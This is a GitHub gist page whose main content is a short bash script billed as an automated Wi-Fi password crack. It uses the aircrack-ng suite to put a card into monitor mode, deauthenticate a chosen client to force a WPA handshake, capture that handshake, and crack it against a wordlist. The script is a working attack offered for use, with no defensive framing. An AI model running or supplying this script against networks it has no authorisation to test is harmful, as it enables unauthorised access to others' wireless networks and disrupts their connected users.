Skip to content

Instantly share code, notes, and snippets.

@ketankr9
Created May 18, 2018 08:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ketankr9/c28f8b75c0339cb654fa2304c4fffa1f to your computer and use it in GitHub Desktop.
Save ketankr9/c28f8b75c0339cb654fa2304c4fffa1f to your computer and use it in GitHub Desktop.
Automated Wifi Password Crack Using airmon-ng
#!/bin/bash
# start in monitor mode
airmon-ng start wlan0
# dump all traffic data
airodump-ng wlan0mon
# start capturing packets, looking for deauth
# -c channel of AP
# --bssid router to crack i.e., AP
echo "Enter AP: "; read AP
echo "Enter Client: "; read CL
echo "Enter channel: "; read CH
cat > deauth.sh <<EOF
#!/bin/bash
aireplay-ng -0 1 -a "$AP" -c "$CL" wlan0mon
EOF
chmod +x deauth.sh
# save packets dump in .cap file, press ctrl+c when a handshake is captured.
# On parallel execute ./deauth.sh to manually force clients to re-auth.
airodump-ng -c "$CH" --bssid "$AP" -w psk wlan0mon
# Crack from password list
aircrack-ng -w testPass.lst -b "$AP" psk*.cap
# stop
airmon-ng stop wlan0mon
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment